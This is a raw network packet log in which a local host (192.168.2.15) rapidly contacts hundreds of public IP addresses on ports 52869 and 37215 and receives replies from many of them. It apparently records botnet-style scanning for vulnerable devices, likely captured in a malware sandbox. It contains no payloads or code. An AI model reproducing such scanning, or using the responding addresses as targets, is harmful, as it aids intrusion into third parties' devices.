Jul 20, 2024 23:10:36.853135109 CEST	58771	52869	192.168.2.15	79.11.204.185
Jul 20, 2024 23:10:36.853135109 CEST	58771	52869	192.168.2.15	223.199.182.205
Jul 20, 2024 23:10:36.853770971 CEST	52869	58771	25.106.54.119	192.168.2.15
Jul 20, 2024 23:10:36.853786945 CEST	52869	58771	1.245.110.192	192.168.2.15
Jul 20, 2024 23:10:36.853883982 CEST	52869	58771	141.27.201.35	192.168.2.15
Jul 20, 2024 23:10:36.853899002 CEST	52869	58771	90.235.228.80	192.168.2.15
Jul 20, 2024 23:10:36.853931904 CEST	52869	58771	125.45.202.200	192.168.2.15
Jul 20, 2024 23:10:36.854337931 CEST	52869	58771	157.88.77.158	192.168.2.15
Jul 20, 2024 23:10:36.854806900 CEST	52869	58771	163.43.251.192	192.168.2.15
Jul 20, 2024 23:10:36.854827881 CEST	58771	52869	192.168.2.15	23.47.242.212
Jul 20, 2024 23:10:36.854827881 CEST	58771	52869	192.168.2.15	141.203.53.96
Jul 20, 2024 23:10:36.854827881 CEST	58771	52869	192.168.2.15	93.53.149.39
Jul 20, 2024 23:10:36.854827881 CEST	58767	37215	192.168.2.15	41.109.172.235
Jul 20, 2024 23:10:36.854827881 CEST	58767	37215	192.168.2.15	157.238.194.50
Jul 20, 2024 23:10:36.854827881 CEST	58771	52869	192.168.2.15	76.79.89.43
Jul 20, 2024 23:10:36.854827881 CEST	58767	37215	192.168.2.15	157.135.74.226
Jul 20, 2024 23:10:36.854827881 CEST	58771	52869	192.168.2.15	157.175.119.162
Jul 20, 2024 23:10:36.855026960 CEST	52869	58771	44.101.224.74	192.168.2.15
Jul 20, 2024 23:10:36.855046988 CEST	58767	37215	192.168.2.15	197.57.193.59
Jul 20, 2024 23:10:36.855047941 CEST	58771	52869	192.168.2.15	44.118.37.153
Jul 20, 2024 23:10:36.855047941 CEST	58771	52869	192.168.2.15	116.100.56.166
Jul 20, 2024 23:10:36.855047941 CEST	58771	52869	192.168.2.15	49.128.55.2
Jul 20, 2024 23:10:36.855047941 CEST	58771	52869	192.168.2.15	191.219.122.100
Jul 20, 2024 23:10:36.855047941 CEST	58771	52869	192.168.2.15	223.18.177.175
Jul 20, 2024 23:10:36.855047941 CEST	58771	52869	192.168.2.15	223.224.237.196
Jul 20, 2024 23:10:36.855047941 CEST	58771	52869	192.168.2.15	72.30.233.90
Jul 20, 2024 23:10:36.855065107 CEST	52869	58771	85.136.158.223	192.168.2.15
Jul 20, 2024 23:10:36.855079889 CEST	52869	58771	132.126.212.77	192.168.2.15
Jul 20, 2024 23:10:36.855123043 CEST	58771	52869	192.168.2.15	96.212.226.109
Jul 20, 2024 23:10:36.855123043 CEST	58771	52869	192.168.2.15	155.230.190.203
Jul 20, 2024 23:10:36.855123043 CEST	58771	52869	192.168.2.15	62.65.66.234
Jul 20, 2024 23:10:36.855123043 CEST	58771	52869	192.168.2.15	61.229.228.131
Jul 20, 2024 23:10:36.855123043 CEST	58771	52869	192.168.2.15	180.180.42.105
Jul 20, 2024 23:10:36.855123043 CEST	58771	52869	192.168.2.15	191.75.216.242
Jul 20, 2024 23:10:36.855123043 CEST	58771	52869	192.168.2.15	60.107.101.86
Jul 20, 2024 23:10:36.855123043 CEST	58771	52869	192.168.2.15	104.197.90.200
Jul 20, 2024 23:10:36.855175972 CEST	58771	52869	192.168.2.15	185.47.43.135
Jul 20, 2024 23:10:36.855175972 CEST	58771	52869	192.168.2.15	45.201.12.76
Jul 20, 2024 23:10:36.855175972 CEST	58771	52869	192.168.2.15	178.20.146.236
Jul 20, 2024 23:10:36.855175972 CEST	58771	52869	192.168.2.15	198.64.91.49
Jul 20, 2024 23:10:36.855175972 CEST	58771	52869	192.168.2.15	218.143.171.110
Jul 20, 2024 23:10:36.855175972 CEST	58771	52869	192.168.2.15	146.66.167.45
Jul 20, 2024 23:10:36.855175972 CEST	58771	52869	192.168.2.15	59.90.60.119
Jul 20, 2024 23:10:36.855175972 CEST	58771	52869	192.168.2.15	65.85.86.222
Jul 20, 2024 23:10:36.855463028 CEST	52869	58771	5.209.73.200	192.168.2.15
Jul 20, 2024 23:10:36.855478048 CEST	52869	58771	90.210.89.250	192.168.2.15
Jul 20, 2024 23:10:36.855586052 CEST	52869	58771	41.81.68.62	192.168.2.15
Jul 20, 2024 23:10:36.855726957 CEST	52869	58771	19.107.79.142	192.168.2.15
Jul 20, 2024 23:10:36.855741978 CEST	52869	58771	145.135.21.245	192.168.2.15
Jul 20, 2024 23:10:36.855844021 CEST	58771	52869	192.168.2.15	87.133.58.104
Jul 20, 2024 23:10:36.855844021 CEST	58771	52869	192.168.2.15	205.95.13.31
Jul 20, 2024 23:10:36.855844021 CEST	58771	52869	192.168.2.15	145.103.170.55
Jul 20, 2024 23:10:36.855844021 CEST	58771	52869	192.168.2.15	164.240.57.49
Jul 20, 2024 23:10:36.855844021 CEST	58771	52869	192.168.2.15	37.237.191.100
Jul 20, 2024 23:10:36.855844021 CEST	58771	52869	192.168.2.15	1.187.65.148
Jul 20, 2024 23:10:36.855844021 CEST	58771	52869	192.168.2.15	103.159.106.30
Jul 20, 2024 23:10:36.855844021 CEST	58771	52869	192.168.2.15	129.138.30.132
Jul 20, 2024 23:10:36.856072903 CEST	52869	58771	98.48.23.84	192.168.2.15
Jul 20, 2024 23:10:36.856139898 CEST	52869	58771	207.241.253.199	192.168.2.15
Jul 20, 2024 23:10:36.856220961 CEST	52869	58771	45.233.91.32	192.168.2.15
Jul 20, 2024 23:10:36.856250048 CEST	52869	58771	134.112.195.36	192.168.2.15
Jul 20, 2024 23:10:36.856436968 CEST	52869	58771	73.18.212.37	192.168.2.15
Jul 20, 2024 23:10:36.856451988 CEST	52869	58771	182.1.168.203	192.168.2.15
Jul 20, 2024 23:10:36.856467009 CEST	52869	58771	172.203.179.100	192.168.2.15
Jul 20, 2024 23:10:36.856761932 CEST	52869	58771	142.81.223.244	192.168.2.15
Jul 20, 2024 23:10:36.856776953 CEST	52869	58771	46.251.106.87	192.168.2.15
Jul 20, 2024 23:10:36.856791973 CEST	52869	58771	184.237.174.95	192.168.2.15
Jul 20, 2024 23:10:36.856818914 CEST	52869	58771	182.218.71.176	192.168.2.15
Jul 20, 2024 23:10:36.856832981 CEST	52869	58771	219.208.79.255	192.168.2.15
Jul 20, 2024 23:10:36.856995106 CEST	58771	52869	192.168.2.15	45.158.193.141
Jul 20, 2024 23:10:36.856996059 CEST	58771	52869	192.168.2.15	191.210.149.200
Jul 20, 2024 23:10:36.856996059 CEST	58771	52869	192.168.2.15	120.91.6.169
Jul 20, 2024 23:10:36.856996059 CEST	58771	52869	192.168.2.15	42.64.165.62
Jul 20, 2024 23:10:36.856996059 CEST	58771	52869	192.168.2.15	180.159.174.8
Jul 20, 2024 23:10:36.856996059 CEST	58771	52869	192.168.2.15	110.35.35.126
Jul 20, 2024 23:10:36.856996059 CEST	58771	52869	192.168.2.15	43.115.169.164
Jul 20, 2024 23:10:36.856996059 CEST	58771	52869	192.168.2.15	49.141.32.67
Jul 20, 2024 23:10:36.857085943 CEST	58767	37215	192.168.2.15	157.29.91.154
Jul 20, 2024 23:10:36.857085943 CEST	58767	37215	192.168.2.15	34.182.233.76
Jul 20, 2024 23:10:36.857085943 CEST	58771	52869	192.168.2.15	73.92.7.89
Jul 20, 2024 23:10:36.857085943 CEST	58771	52869	192.168.2.15	146.159.133.110
Jul 20, 2024 23:10:36.857085943 CEST	58771	52869	192.168.2.15	54.178.85.131
Jul 20, 2024 23:10:36.857085943 CEST	58771	52869	192.168.2.15	89.212.205.212
Jul 20, 2024 23:10:36.857085943 CEST	58771	52869	192.168.2.15	122.145.139.19
Jul 20, 2024 23:10:36.857085943 CEST	58771	52869	192.168.2.15	177.21.248.51
Jul 20, 2024 23:10:36.857599974 CEST	58771	52869	192.168.2.15	140.159.3.25
Jul 20, 2024 23:10:36.857599974 CEST	58771	52869	192.168.2.15	130.205.167.209
Jul 20, 2024 23:10:36.857599974 CEST	58771	52869	192.168.2.15	195.39.15.62
Jul 20, 2024 23:10:36.857599974 CEST	58771	52869	192.168.2.15	25.130.10.134
Jul 20, 2024 23:10:36.857599974 CEST	58771	52869	192.168.2.15	131.244.206.36
Jul 20, 2024 23:10:36.857599974 CEST	58771	52869	192.168.2.15	93.51.59.50
Jul 20, 2024 23:10:36.857599974 CEST	58771	52869	192.168.2.15	196.183.231.187
Jul 20, 2024 23:10:36.857599974 CEST	58771	52869	192.168.2.15	199.197.18.2
Jul 20, 2024 23:10:36.857620955 CEST	52869	58771	120.142.209.220	192.168.2.15
Jul 20, 2024 23:10:36.857695103 CEST	52869	58771	174.84.228.25	192.168.2.15
Jul 20, 2024 23:10:36.857781887 CEST	58771	52869	192.168.2.15	200.195.92.62
Jul 20, 2024 23:10:36.857781887 CEST	58767	37215	192.168.2.15	49.55.180.63
Jul 20, 2024 23:10:36.857781887 CEST	58771	52869	192.168.2.15	123.32.193.172
Jul 20, 2024 23:10:36.857781887 CEST	58767	37215	192.168.2.15	62.146.200.25
Jul 20, 2024 23:10:36.857781887 CEST	58767	37215	192.168.2.15	197.36.183.119
Jul 20, 2024 23:10:36.857783079 CEST	58767	37215	192.168.2.15	140.235.15.87
Jul 20, 2024 23:10:36.857783079 CEST	58767	37215	192.168.2.15	197.115.200.222
Jul 20, 2024 23:10:36.857783079 CEST	58771	52869	192.168.2.15	119.160.129.114
Jul 20, 2024 23:10:36.857925892 CEST	58771	52869	192.168.2.15	25.21.72.229
Jul 20, 2024 23:10:36.858124018 CEST	52869	58771	220.99.73.55	192.168.2.15
Jul 20, 2024 23:10:36.858139038 CEST	52869	58771	202.197.20.204	192.168.2.15
Jul 20, 2024 23:10:36.858254910 CEST	52869	58771	14.242.59.89	192.168.2.15
Jul 20, 2024 23:10:36.858280897 CEST	52869	58771	206.155.217.173	192.168.2.15
Jul 20, 2024 23:10:36.858335972 CEST	52869	58771	113.51.28.95	192.168.2.15
Jul 20, 2024 23:10:36.858721972 CEST	52869	58771	123.38.94.82	192.168.2.15
Jul 20, 2024 23:10:36.858736992 CEST	52869	58771	183.45.66.178	192.168.2.15
Jul 20, 2024 23:10:36.858891010 CEST	58771	52869	192.168.2.15	150.133.239.53
Jul 20, 2024 23:10:36.858891010 CEST	58771	52869	192.168.2.15	211.249.115.21
Jul 20, 2024 23:10:36.858891010 CEST	58771	52869	192.168.2.15	23.40.61.101
Jul 20, 2024 23:10:36.858891010 CEST	58771	52869	192.168.2.15	179.191.111.251
Jul 20, 2024 23:10:36.858891010 CEST	58771	52869	192.168.2.15	179.20.58.118
Jul 20, 2024 23:10:36.858891010 CEST	58771	52869	192.168.2.15	111.135.31.179
Jul 20, 2024 23:10:36.858891010 CEST	58771	52869	192.168.2.15	80.132.130.60
Jul 20, 2024 23:10:36.858891010 CEST	58771	52869	192.168.2.15	206.50.137.193
Jul 20, 2024 23:10:36.858993053 CEST	52869	58771	169.92.187.66	192.168.2.15
Jul 20, 2024 23:10:36.859008074 CEST	52869	58771	179.145.147.213	192.168.2.15
Jul 20, 2024 23:10:36.859023094 CEST	52869	58771	60.131.76.36	192.168.2.15
Jul 20, 2024 23:10:36.859185934 CEST	52869	58771	125.243.212.41	192.168.2.15
Jul 20, 2024 23:10:36.859611034 CEST	52869	58771	93.220.166.171	192.168.2.15
Jul 20, 2024 23:10:36.859673977 CEST	52869	58771	34.127.74.158	192.168.2.15
Jul 20, 2024 23:10:36.859735966 CEST	52869	58771	23.47.242.212	192.168.2.15
Jul 20, 2024 23:10:36.859910011 CEST	52869	58771	122.252.137.186	192.168.2.15
Jul 20, 2024 23:10:36.859915018 CEST	58771	52869	192.168.2.15	132.117.24.54
Jul 20, 2024 23:10:36.859915018 CEST	58771	52869	192.168.2.15	213.144.40.100
Jul 20, 2024 23:10:36.859915018 CEST	58771	52869	192.168.2.15	124.87.36.24
Jul 20, 2024 23:10:36.859915018 CEST	58771	52869	192.168.2.15	20.101.10.8
Jul 20, 2024 23:10:36.859915018 CEST	58771	52869	192.168.2.15	78.6.223.132
Jul 20, 2024 23:10:36.859915018 CEST	58767	37215	192.168.2.15	166.129.166.145
Jul 20, 2024 23:10:36.859915018 CEST	58767	37215	192.168.2.15	197.18.206.159
Jul 20, 2024 23:10:36.859915018 CEST	58767	37215	192.168.2.15	197.91.175.126
Jul 20, 2024 23:10:36.859925985 CEST	52869	58771	201.234.0.46	192.168.2.15
Jul 20, 2024 23:10:36.860008955 CEST	52869	58771	199.180.233.103	192.168.2.15
Jul 20, 2024 23:10:36.860023975 CEST	52869	58771	154.90.253.50	192.168.2.15
Jul 20, 2024 23:10:36.860167027 CEST	52869	58771	141.203.53.96	192.168.2.15
Jul 20, 2024 23:10:36.860317945 CEST	52869	58771	44.118.37.153	192.168.2.15
Jul 20, 2024 23:10:36.860500097 CEST	52869	58771	93.53.149.39	192.168.2.15
Jul 20, 2024 23:10:36.860512018 CEST	52869	58771	116.100.56.166	192.168.2.15
Jul 20, 2024 23:10:36.860584974 CEST	52869	58771	96.212.226.109	192.168.2.15
Jul 20, 2024 23:10:36.860959053 CEST	52869	58771	49.128.55.2	192.168.2.15
Jul 20, 2024 23:10:36.861011028 CEST	58771	52869	192.168.2.15	147.59.207.127
Jul 20, 2024 23:10:36.861011028 CEST	58767	37215	192.168.2.15	157.17.105.247
Jul 20, 2024 23:10:36.861011028 CEST	58771	52869	192.168.2.15	59.139.153.14
Jul 20, 2024 23:10:36.861011028 CEST	58767	37215	192.168.2.15	197.12.49.40
Jul 20, 2024 23:10:36.861011028 CEST	58767	37215	192.168.2.15	157.5.164.72
Jul 20, 2024 23:10:36.861011028 CEST	58771	52869	192.168.2.15	118.152.166.61
Jul 20, 2024 23:10:36.861011028 CEST	58771	52869	192.168.2.15	130.11.242.199
Jul 20, 2024 23:10:36.861011028 CEST	58771	52869	192.168.2.15	32.12.50.206
Jul 20, 2024 23:10:36.861057043 CEST	58771	52869	192.168.2.15	114.228.142.221
Jul 20, 2024 23:10:36.861057043 CEST	58771	52869	192.168.2.15	220.215.210.174
Jul 20, 2024 23:10:36.861057043 CEST	58771	52869	192.168.2.15	218.98.88.89
Jul 20, 2024 23:10:36.861057043 CEST	58771	52869	192.168.2.15	24.169.204.116
Jul 20, 2024 23:10:36.861057043 CEST	58771	52869	192.168.2.15	49.223.155.124
Jul 20, 2024 23:10:36.861057043 CEST	58771	52869	192.168.2.15	53.83.5.226
Jul 20, 2024 23:10:36.861057043 CEST	58771	52869	192.168.2.15	167.19.6.82
Jul 20, 2024 23:10:36.861057043 CEST	58771	52869	192.168.2.15	59.69.107.133
Jul 20, 2024 23:10:36.861085892 CEST	52869	58771	185.47.43.135	192.168.2.15
Jul 20, 2024 23:10:36.861222982 CEST	52869	58771	155.230.190.203	192.168.2.15
Jul 20, 2024 23:10:36.861236095 CEST	52869	58771	191.219.122.100	192.168.2.15
Jul 20, 2024 23:10:36.861309052 CEST	52869	58771	223.18.177.175	192.168.2.15
Jul 20, 2024 23:10:36.861330986 CEST	58771	52869	192.168.2.15	197.95.82.77
Jul 20, 2024 23:10:36.861330986 CEST	58771	52869	192.168.2.15	34.25.57.168
Jul 20, 2024 23:10:36.861330986 CEST	58771	52869	192.168.2.15	143.57.141.44
Jul 20, 2024 23:10:36.861330986 CEST	58771	52869	192.168.2.15	46.29.199.172
Jul 20, 2024 23:10:36.861330986 CEST	58771	52869	192.168.2.15	32.96.230.35
Jul 20, 2024 23:10:36.861330986 CEST	58771	52869	192.168.2.15	19.36.203.102
Jul 20, 2024 23:10:36.861330986 CEST	58771	52869	192.168.2.15	187.65.46.56
Jul 20, 2024 23:10:36.861330986 CEST	58771	52869	192.168.2.15	221.122.176.63
Jul 20, 2024 23:10:36.861565113 CEST	52869	58771	223.224.237.196	192.168.2.15
Jul 20, 2024 23:10:36.861588955 CEST	52869	58771	76.79.89.43	192.168.2.15
Jul 20, 2024 23:10:36.862010956 CEST	52869	58771	213.133.175.182	192.168.2.15
Jul 20, 2024 23:10:36.862024069 CEST	52869	58771	45.201.12.76	192.168.2.15
Jul 20, 2024 23:10:36.862093925 CEST	58771	52869	192.168.2.15	130.127.168.226
Jul 20, 2024 23:10:36.862095118 CEST	58771	52869	192.168.2.15	113.227.31.59
Jul 20, 2024 23:10:36.862095118 CEST	58771	52869	192.168.2.15	90.115.12.11
Jul 20, 2024 23:10:36.862095118 CEST	58771	52869	192.168.2.15	145.208.53.2
Jul 20, 2024 23:10:36.862095118 CEST	58771	52869	192.168.2.15	200.136.42.181
Jul 20, 2024 23:10:36.862095118 CEST	58771	52869	192.168.2.15	107.196.165.138
Jul 20, 2024 23:10:36.862095118 CEST	58771	52869	192.168.2.15	4.161.162.255
Jul 20, 2024 23:10:36.862095118 CEST	58771	52869	192.168.2.15	153.220.40.120
Jul 20, 2024 23:10:36.862431049 CEST	52869	58771	178.20.146.236	192.168.2.15
Jul 20, 2024 23:10:36.862456083 CEST	52869	58771	72.30.233.90	192.168.2.15
Jul 20, 2024 23:10:36.862468004 CEST	52869	58771	62.65.66.234	192.168.2.15
Jul 20, 2024 23:10:36.862603903 CEST	52869	58771	140.159.3.25	192.168.2.15
Jul 20, 2024 23:10:36.862617016 CEST	52869	58771	157.175.119.162	192.168.2.15
Jul 20, 2024 23:10:36.862757921 CEST	58771	52869	192.168.2.15	102.37.157.117
Jul 20, 2024 23:10:36.862759113 CEST	58771	52869	192.168.2.15	217.23.247.9
Jul 20, 2024 23:10:36.862759113 CEST	58771	52869	192.168.2.15	177.126.187.180
Jul 20, 2024 23:10:36.862759113 CEST	58771	52869	192.168.2.15	84.245.35.223
Jul 20, 2024 23:10:36.862759113 CEST	58771	52869	192.168.2.15	159.17.35.193
Jul 20, 2024 23:10:36.862759113 CEST	58771	52869	192.168.2.15	46.98.240.227
Jul 20, 2024 23:10:36.862759113 CEST	58771	52869	192.168.2.15	180.11.90.109
Jul 20, 2024 23:10:36.862759113 CEST	58771	52869	192.168.2.15	112.130.184.40
Jul 20, 2024 23:10:36.862916946 CEST	52869	58771	130.205.167.209	192.168.2.15
Jul 20, 2024 23:10:36.863187075 CEST	52869	58771	200.195.92.62	192.168.2.15
Jul 20, 2024 23:10:36.863198996 CEST	52869	58771	61.229.228.131	192.168.2.15
Jul 20, 2024 23:10:36.863518000 CEST	58771	52869	192.168.2.15	131.187.169.42
Jul 20, 2024 23:10:36.863518000 CEST	58771	52869	192.168.2.15	211.60.75.202
Jul 20, 2024 23:10:36.863518000 CEST	58771	52869	192.168.2.15	139.79.196.6
Jul 20, 2024 23:10:36.863518000 CEST	58771	52869	192.168.2.15	175.124.114.154
Jul 20, 2024 23:10:36.863518000 CEST	58771	52869	192.168.2.15	194.107.252.122
Jul 20, 2024 23:10:36.863518000 CEST	58771	52869	192.168.2.15	38.72.163.191
Jul 20, 2024 23:10:36.863518000 CEST	58771	52869	192.168.2.15	60.192.182.110
Jul 20, 2024 23:10:36.863518000 CEST	58771	52869	192.168.2.15	135.91.76.232
Jul 20, 2024 23:10:36.863668919 CEST	58771	52869	192.168.2.15	1.40.110.47
Jul 20, 2024 23:10:36.863668919 CEST	58771	52869	192.168.2.15	175.212.141.240
Jul 20, 2024 23:10:36.863668919 CEST	58771	52869	192.168.2.15	113.120.204.84
Jul 20, 2024 23:10:36.863668919 CEST	58771	52869	192.168.2.15	123.204.179.189
Jul 20, 2024 23:10:36.863668919 CEST	58771	52869	192.168.2.15	124.95.98.128
Jul 20, 2024 23:10:36.863668919 CEST	58771	52869	192.168.2.15	142.179.121.102
Jul 20, 2024 23:10:36.863668919 CEST	58771	52869	192.168.2.15	190.75.241.237
Jul 20, 2024 23:10:36.863668919 CEST	58771	52869	192.168.2.15	71.157.109.184
Jul 20, 2024 23:10:36.863686085 CEST	52869	58771	180.180.42.105	192.168.2.15
Jul 20, 2024 23:10:36.863928080 CEST	58771	52869	192.168.2.15	157.155.237.53
Jul 20, 2024 23:10:36.863928080 CEST	58771	52869	192.168.2.15	194.93.32.92
Jul 20, 2024 23:10:36.863928080 CEST	58771	52869	192.168.2.15	216.72.91.26
Jul 20, 2024 23:10:36.863928080 CEST	58771	52869	192.168.2.15	91.234.176.82
Jul 20, 2024 23:10:36.863928080 CEST	58771	52869	192.168.2.15	149.112.97.85
Jul 20, 2024 23:10:36.863928080 CEST	58771	52869	192.168.2.15	164.240.158.148
Jul 20, 2024 23:10:36.863928080 CEST	58771	52869	192.168.2.15	181.93.177.170
Jul 20, 2024 23:10:36.863928080 CEST	58771	52869	192.168.2.15	174.131.88.229
Jul 20, 2024 23:10:36.863949060 CEST	52869	58771	195.39.15.62	192.168.2.15
Jul 20, 2024 23:10:36.863971949 CEST	52869	58771	198.64.91.49	192.168.2.15
Jul 20, 2024 23:10:36.864018917 CEST	52869	58771	25.130.10.134	192.168.2.15
Jul 20, 2024 23:10:36.864032030 CEST	52869	58771	218.143.171.110	192.168.2.15
Jul 20, 2024 23:10:36.864083052 CEST	52869	58771	191.75.216.242	192.168.2.15
Jul 20, 2024 23:10:36.864094973 CEST	52869	58771	73.92.7.89	192.168.2.15
Jul 20, 2024 23:10:36.864336967 CEST	52869	58771	146.159.133.110	192.168.2.15
Jul 20, 2024 23:10:36.864423037 CEST	58771	52869	192.168.2.15	93.101.56.143
Jul 20, 2024 23:10:36.864423037 CEST	58771	52869	192.168.2.15	90.139.225.56
Jul 20, 2024 23:10:36.864423037 CEST	58771	52869	192.168.2.15	133.162.115.106
Jul 20, 2024 23:10:36.864423037 CEST	58771	52869	192.168.2.15	32.246.234.49
Jul 20, 2024 23:10:36.864423037 CEST	58767	37215	192.168.2.15	41.253.112.25
Jul 20, 2024 23:10:36.864423037 CEST	58767	37215	192.168.2.15	197.197.182.48
Jul 20, 2024 23:10:36.864423037 CEST	58767	37215	192.168.2.15	83.35.196.3
Jul 20, 2024 23:10:36.864423037 CEST	58771	52869	192.168.2.15	34.125.193.200
Jul 20, 2024 23:10:36.864670038 CEST	52869	58771	60.107.101.86	192.168.2.15
Jul 20, 2024 23:10:36.864790916 CEST	52869	58771	104.197.90.200	192.168.2.15
Jul 20, 2024 23:10:36.864903927 CEST	52869	58771	146.66.167.45	192.168.2.15
Jul 20, 2024 23:10:36.864927053 CEST	52869	58771	123.32.193.172	192.168.2.15
Jul 20, 2024 23:10:36.864984989 CEST	52869	58771	54.178.85.131	192.168.2.15
Jul 20, 2024 23:10:36.865082026 CEST	52869	58771	89.212.205.212	192.168.2.15
Jul 20, 2024 23:10:36.865094900 CEST	52869	58771	131.244.206.36	192.168.2.15
Jul 20, 2024 23:10:36.865194082 CEST	52869	58771	132.117.24.54	192.168.2.15
Jul 20, 2024 23:10:36.865206957 CEST	52869	58771	59.90.60.119	192.168.2.15
Jul 20, 2024 23:10:36.865302086 CEST	52869	58771	122.145.139.19	192.168.2.15
Jul 20, 2024 23:10:36.865433931 CEST	52869	58771	93.51.59.50	192.168.2.15
Jul 20, 2024 23:10:36.865650892 CEST	52869	58771	213.144.40.100	192.168.2.15
Jul 20, 2024 23:10:36.865758896 CEST	52869	58771	124.87.36.24	192.168.2.15
Jul 20, 2024 23:10:36.865772009 CEST	52869	58771	196.183.231.187	192.168.2.15
Jul 20, 2024 23:10:36.865772963 CEST	58771	52869	192.168.2.15	175.207.230.53
Jul 20, 2024 23:10:36.865772963 CEST	58771	52869	192.168.2.15	199.36.7.33
Jul 20, 2024 23:10:36.865772963 CEST	58767	37215	192.168.2.15	197.202.153.125
Jul 20, 2024 23:10:36.865772963 CEST	58767	37215	192.168.2.15	157.178.175.186
Jul 20, 2024 23:10:36.865772963 CEST	58767	37215	192.168.2.15	197.146.154.155
Jul 20, 2024 23:10:36.865772963 CEST	58767	37215	192.168.2.15	157.241.6.192
Jul 20, 2024 23:10:36.865772963 CEST	58767	37215	192.168.2.15	41.101.127.58
Jul 20, 2024 23:10:36.865773916 CEST	58767	37215	192.168.2.15	41.162.208.185
Jul 20, 2024 23:10:36.865968943 CEST	58771	52869	192.168.2.15	157.239.81.157
Jul 20, 2024 23:10:36.865968943 CEST	58771	52869	192.168.2.15	52.136.244.119
Jul 20, 2024 23:10:36.865968943 CEST	58771	52869	192.168.2.15	124.191.43.235
Jul 20, 2024 23:10:36.865968943 CEST	58771	52869	192.168.2.15	145.103.191.175
Jul 20, 2024 23:10:36.865968943 CEST	58771	52869	192.168.2.15	24.31.250.217
Jul 20, 2024 23:10:36.865968943 CEST	58771	52869	192.168.2.15	151.251.154.57
Jul 20, 2024 23:10:36.865968943 CEST	58771	52869	192.168.2.15	70.115.15.18
Jul 20, 2024 23:10:36.865968943 CEST	58771	52869	192.168.2.15	100.59.49.92
Jul 20, 2024 23:10:36.866070032 CEST	58771	52869	192.168.2.15	24.231.185.21
Jul 20, 2024 23:10:36.866070032 CEST	58771	52869	192.168.2.15	140.154.119.13
Jul 20, 2024 23:10:36.866070032 CEST	58771	52869	192.168.2.15	83.203.109.27
Jul 20, 2024 23:10:36.866070032 CEST	58771	52869	192.168.2.15	165.165.239.148
Jul 20, 2024 23:10:36.866070032 CEST	58771	52869	192.168.2.15	120.126.202.249
Jul 20, 2024 23:10:36.866070032 CEST	58771	52869	192.168.2.15	218.73.181.70
Jul 20, 2024 23:10:36.866070032 CEST	58771	52869	192.168.2.15	124.167.246.2
Jul 20, 2024 23:10:36.866070032 CEST	58771	52869	192.168.2.15	207.184.118.98
Jul 20, 2024 23:10:36.866276979 CEST	52869	58771	177.21.248.51	192.168.2.15
Jul 20, 2024 23:10:36.866384029 CEST	52869	58771	199.197.18.2	192.168.2.15
Jul 20, 2024 23:10:36.866688967 CEST	52869	58771	147.59.207.127	192.168.2.15
Jul 20, 2024 23:10:36.866823912 CEST	58771	52869	192.168.2.15	69.254.1.48
Jul 20, 2024 23:10:36.866823912 CEST	58771	52869	192.168.2.15	167.45.17.186
Jul 20, 2024 23:10:36.866823912 CEST	58771	52869	192.168.2.15	161.144.220.177
Jul 20, 2024 23:10:36.866823912 CEST	58771	52869	192.168.2.15	170.170.192.156
Jul 20, 2024 23:10:36.866823912 CEST	58771	52869	192.168.2.15	137.117.188.125
Jul 20, 2024 23:10:36.866823912 CEST	58771	52869	192.168.2.15	108.158.118.138
Jul 20, 2024 23:10:36.866823912 CEST	58771	52869	192.168.2.15	196.216.249.247
Jul 20, 2024 23:10:36.866823912 CEST	58771	52869	192.168.2.15	66.9.166.48
Jul 20, 2024 23:10:36.866933107 CEST	58771	52869	192.168.2.15	96.185.178.163
Jul 20, 2024 23:10:36.866933107 CEST	58771	52869	192.168.2.15	110.4.158.202
Jul 20, 2024 23:10:36.866933107 CEST	58771	52869	192.168.2.15	131.226.118.182
Jul 20, 2024 23:10:36.866933107 CEST	58771	52869	192.168.2.15	207.4.192.11
Jul 20, 2024 23:10:36.866933107 CEST	58771	52869	192.168.2.15	116.129.251.191
Jul 20, 2024 23:10:36.866933107 CEST	58771	52869	192.168.2.15	92.204.91.160
Jul 20, 2024 23:10:36.866933107 CEST	58771	52869	192.168.2.15	123.163.6.80
Jul 20, 2024 23:10:36.866933107 CEST	58771	52869	192.168.2.15	139.17.5.197
Jul 20, 2024 23:10:36.867132902 CEST	58771	52869	192.168.2.15	176.43.250.200
Jul 20, 2024 23:10:36.867132902 CEST	58771	52869	192.168.2.15	117.203.179.115
Jul 20, 2024 23:10:36.867132902 CEST	58771	52869	192.168.2.15	5.194.119.22
Jul 20, 2024 23:10:36.867132902 CEST	58771	52869	192.168.2.15	70.197.189.143
Jul 20, 2024 23:10:36.867132902 CEST	58771	52869	192.168.2.15	42.107.11.239
Jul 20, 2024 23:10:36.867132902 CEST	58771	52869	192.168.2.15	167.18.139.194
Jul 20, 2024 23:10:36.867132902 CEST	58771	52869	192.168.2.15	66.214.33.60
Jul 20, 2024 23:10:36.867132902 CEST	58771	52869	192.168.2.15	213.94.234.50
Jul 20, 2024 23:10:36.867479086 CEST	52869	58771	20.101.10.8	192.168.2.15
Jul 20, 2024 23:10:36.868102074 CEST	52869	58771	114.228.142.221	192.168.2.15
Jul 20, 2024 23:10:36.868114948 CEST	52869	58771	65.85.86.222	192.168.2.15
Jul 20, 2024 23:10:36.868202925 CEST	52869	58771	78.6.223.132	192.168.2.15
Jul 20, 2024 23:10:36.868227005 CEST	52869	58771	197.95.82.77	192.168.2.15
Jul 20, 2024 23:10:36.868889093 CEST	52869	58771	34.25.57.168	192.168.2.15
Jul 20, 2024 23:10:36.868901968 CEST	52869	58771	220.215.210.174	192.168.2.15
Jul 20, 2024 23:10:36.868915081 CEST	52869	58771	59.139.153.14	192.168.2.15
Jul 20, 2024 23:10:36.868927956 CEST	52869	58771	218.98.88.89	192.168.2.15
Jul 20, 2024 23:10:36.868949890 CEST	52869	58771	143.57.141.44	192.168.2.15
Jul 20, 2024 23:10:36.868963003 CEST	52869	58771	24.169.204.116	192.168.2.15
Jul 20, 2024 23:10:36.868974924 CEST	52869	58771	118.152.166.61	192.168.2.15
Jul 20, 2024 23:10:36.868979931 CEST	58771	52869	192.168.2.15	193.167.9.55
Jul 20, 2024 23:10:36.868979931 CEST	58771	52869	192.168.2.15	85.20.221.7
Jul 20, 2024 23:10:36.868979931 CEST	58771	52869	192.168.2.15	18.236.114.217
Jul 20, 2024 23:10:36.868997097 CEST	52869	58771	119.160.129.114	192.168.2.15
Jul 20, 2024 23:10:36.869009018 CEST	52869	58771	49.223.155.124	192.168.2.15
Jul 20, 2024 23:10:36.869128942 CEST	52869	58771	53.83.5.226	192.168.2.15
Jul 20, 2024 23:10:36.869142056 CEST	52869	58771	46.29.199.172	192.168.2.15
Jul 20, 2024 23:10:36.869474888 CEST	52869	58771	32.96.230.35	192.168.2.15
Jul 20, 2024 23:10:36.869488001 CEST	52869	58771	167.19.6.82	192.168.2.15
